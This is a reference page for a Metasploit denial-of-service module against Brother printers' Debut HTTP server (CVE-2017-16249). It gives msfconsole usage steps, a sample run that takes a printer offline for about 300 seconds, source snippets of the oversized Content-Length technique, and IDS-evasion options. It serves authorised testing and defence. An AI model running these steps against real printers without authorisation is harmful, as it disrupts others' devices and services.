Brother Debut http Denial Of Service - Metasploit
This page contains detailed information about how to use the auxiliary/dos/http/brother_debut_dos metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Brother Debut http Denial Of Service
Module: auxiliary/dos/http/brother_debut_dos
Source code: modules/auxiliary/dos/http/brother_debut_dos.rb
Disclosure date: 2017-11-02
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-16249
The Debut embedded HTTP server <= 1.20 on Brother printers allows for a Denial of Service (DoS) condition via a crafted HTTP request. The printer will be unresponsive from HTTP and printing requests for ~300 seconds. After which, the printer will start responding again.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/dos/http/brother_debut_dos
msf auxiliary(brother_debut_dos) > show targets
... a list of targets ...
msf auxiliary(brother_debut_dos) > set TARGET target-id
msf auxiliary(brother_debut_dos) > show options
... show and set options ...
msf auxiliary(brother_debut_dos) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Versions <= 1.20 of the Debut embedded httpd web server in use by Brother printers are vulnerable to denial of service via a crafted HTTP request. This module will render the printer unresponsive from requests for ~300 seconds. This is thought to be caused by a single threaded web server which has a ~300 second timeout value. By sending a request with a content-length larger than the actual data, the server waits to receive the rest of the data, which doesn't happen until the timeout occurs. This DoS is for all services, not just http.
This module was successfully tested against a Brother HL-L2380DW series.
An nmap version scan of the vulnerable service should look similar to:
80/tcp open http Debut embedded httpd 1.20 (Brother/HP printer http admin).
Verification Steps
- Start msfconsole
- Do:
use auxiliary/dos/http/brother_debut_dos - Do:
set rhost [ip] - Do:
run - You should see Success, and manual attempts to browse the web interface don't load.
Scenarios
Brother HL-L2380DW with Debut embedded 1.20
resource (brother.rc)> use auxiliary/dos/http/brother_debut_dos
resource (brother.rc)> set rhost 1.1.1.1
rhost => 1.1.1.1
resource (brother.rc)> exploit
[*] Sending malformed POST request at 2018-01-24 20:45:52.
[+] 1.1.1.1:80 - Connection Refused: Success! Server will recover about 2018-01-24 20:50:52
[*] Auxiliary module execution completed
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Msfconsole Usage
Here is how the dos/http/brother_debut_dos auxiliary module looks in the msfconsole:
msf6 > use auxiliary/dos/http/brother_debut_dos
msf6 auxiliary(dos/http/brother_debut_dos) > show info
Name: Brother Debut http Denial Of Service
Module: auxiliary/dos/http/brother_debut_dos
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-11-02
Provided by:
z00n <[email protected]>
h00die
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Description:
The Debut embedded HTTP server <= 1.20 on Brother printers allows
for a Denial of Service (DoS) condition via a crafted HTTP request.
The printer will be unresponsive from HTTP and printing requests for
~300 seconds. After which, the printer will start responding again.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-16249
https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2017-017/?fid=10211
Module Options
This is a complete list of options available in the dos/http/brother_debut_dos auxiliary module:
msf6 auxiliary(dos/http/brother_debut_dos) > show options
Module options (auxiliary/dos/http/brother_debut_dos):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the dos/http/brother_debut_dos auxiliary module:
msf6 auxiliary(dos/http/brother_debut_dos) > show advanced
Module advanced options (auxiliary/dos/http/brother_debut_dos):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the dos/http/brother_debut_dos module can do:
msf6 auxiliary(dos/http/brother_debut_dos) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the dos/http/brother_debut_dos auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(dos/http/brother_debut_dos) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Couldn't connect to <PEER>
Here is a relevant code snippet related to the "Couldn't connect to <PEER>" error message:
35: 'uri' => '/',
36: },10)
37:
38: return !res.nil?
39: rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
40: print_error("Couldn't connect to #{peer}")
41: end
42:
43: def dos
44: # The web server is single threaded, and when the content length is longer than the data, it will continue to wait
45: # for the rest of the data, which never comes, and times out after ~300 seconds.
Couldn't connect to <PEER>
Here is a relevant code snippet related to the "Couldn't connect to <PEER>" error message:
60: #'Content-Type' => 'application/x-www-form-urlencoded',
61: 'Content-Length' => data.length + rand(10) + 10 #42
62: }
63: })
64: rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
65: print_error("Couldn't connect to #{peer}")
66: end
67:
68: def run
69: time = Time.new
70: print_status("Sending malformed POST request at #{time.strftime("%Y-%m-%d %H:%M:%S")}.")
<PEER> - Server is still alive.
Here is a relevant code snippet related to the "<PEER> - Server is still alive." error message:
70: print_status("Sending malformed POST request at #{time.strftime("%Y-%m-%d %H:%M:%S")}.")
71: dos
72:
73: # Check to see if it worked or not
74: if is_alive?
75: print_error("#{peer} - Server is still alive.")
76: else
77: print_good("#{peer} - Connection Refused: Success! Server will recover about #{(time + 300).strftime("%Y-%m-%d %H:%M:%S")}")
78: end
79: end
80: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #9354 Merged Pull Request: Debut embedded httpd server (Brother printers) DoS
References
- CVE-2017-16249
- https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2017-017/?fid=10211
See Also
Check also the following modules related to this module:
- auxiliary/dos/http/3com_superstack_switch
- auxiliary/dos/http/apache_commons_fileupload_dos
- auxiliary/dos/http/apache_mod_isapi
- auxiliary/dos/http/apache_range_dos
- auxiliary/dos/http/apache_tomcat_transfer_encoding
- auxiliary/dos/http/cable_haunt_websocket_dos
- auxiliary/dos/http/canon_wireless_printer
- auxiliary/dos/http/dell_openmanage_post
- auxiliary/dos/http/f5_bigip_apm_max_sessions
- auxiliary/dos/http/flexense_http_server_dos
- auxiliary/dos/http/gzip_bomb_dos
- auxiliary/dos/http/hashcollision_dos
- auxiliary/dos/http/ibm_lotus_notes
- auxiliary/dos/http/ibm_lotus_notes2
- auxiliary/dos/http/marked_redos
- auxiliary/dos/http/metasploit_httphandler_dos
- auxiliary/dos/http/monkey_headers
- auxiliary/dos/http/ms15_034_ulonglongadd
- auxiliary/dos/http/nodejs_pipelining
- auxiliary/dos/http/novell_file_reporter_heap_bof
- auxiliary/dos/http/rails_action_view
- auxiliary/dos/http/rails_json_float_dos
- auxiliary/dos/http/slowloris
- auxiliary/dos/http/sonicwall_ssl_format
- auxiliary/dos/http/squid_range_dos
- auxiliary/dos/http/tautulli_shutdown_exec
- auxiliary/dos/http/ua_parser_js_redos
- auxiliary/dos/http/webkitplus
- auxiliary/dos/http/webrick_regex
- auxiliary/dos/http/wordpress_directory_traversal_dos
- auxiliary/dos/http/wordpress_long_password_dos
- auxiliary/dos/http/wordpress_xmlrpc_dos
- auxiliary/dos/http/ws_dos
Authors
- z00n <[email protected]>
- h00die
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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